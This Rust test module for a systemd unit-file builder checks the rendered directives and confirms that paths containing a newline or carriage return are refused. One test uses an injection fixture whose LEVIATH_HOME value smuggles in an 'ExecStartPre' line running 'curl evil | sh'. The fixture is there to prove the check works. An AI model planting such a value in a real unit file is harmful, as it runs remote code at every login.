    /// The systemd unit builder is pure string assembly, so these run on every
    /// platform rather than only on a Linux CI runner.
    mod systemd_unit_file {
        use super::*;

        #[test]
        fn display_renders_a_path_losslessly_when_it_can() {
            assert_eq!(display(Path::new("/a/b")), "/a/b");
        }

        #[test]
        fn it_renders_the_expected_directives() {
            let unit = systemd_unit(
                Path::new("/usr/local/bin/lev"),
                Path::new("/home/u/.leviath"),
                Path::new("/home/u/.leviath/daemon.log"),
            )
            .unwrap();
            assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
            assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
            assert!(unit.contains("Restart=always"));
        }

        /// A unit file is line-oriented `Key=Value`, so a newline in an
        /// interpolated path starts a new *directive*. `home` derives from
        /// `LEVIATH_HOME`, so this wrote an `ExecStartPre=` that then ran at
        /// every login. There is no general quoting for this position in
        /// systemd, so the value is refused rather than escaped - and no
        /// legitimate path contains a newline.
        #[test]
        fn a_newline_in_an_interpolated_path_is_refused() {
            let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
            let err = systemd_unit(
                Path::new("/usr/local/bin/lev"),
                evil,
                Path::new("/home/u/.leviath/daemon.log"),
            )
            .expect_err("a newline in LEVIATH_HOME must be refused");
            assert!(err.to_string().contains("newline"), "got: {err}");
            assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
        }

        /// Each interpolated position is checked, not just the first.
        #[test]
        fn every_interpolated_path_is_checked() {
            let evil = Path::new("/x\nExecStartPre=/bin/false");
            let good = Path::new("/home/u/.leviath");
            assert!(systemd_unit(evil, good, good).is_err(), "executable");
            assert!(systemd_unit(good, evil, good).is_err(), "home");
            assert!(systemd_unit(good, good, evil).is_err(), "log");
        }

        /// A carriage return is a line break too - systemd tolerates CRLF.
        #[test]
        fn a_carriage_return_is_refused_too() {
            assert!(
                systemd_unit(
                    Path::new("/usr/local/bin/lev"),
                    Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
                    Path::new("/home/u/.leviath/daemon.log"),
                )
                .is_err()
            );
        }
    }

    // ── Platforms without one ────────────────────────────────────────────────

    #[cfg(not(any(target_os = "macos", target_os = "linux")))]
    mod unsupported {
        use super::*;

        #[test]
        fn install_is_refused_with_an_actionable_message() {
            let err = service_unit(
                Path::new("lev.exe"),
                Path::new("home"),
                Path::new("units"),
                0,
            )
            .unwrap_err()
            .to_string();
            assert!(err.contains("macOS"), "got: {err}");
            assert!(err.contains("lev daemon"), "got: {err}");
            assert!(config_home(Path::new("home")).is_err());
        }
    }
}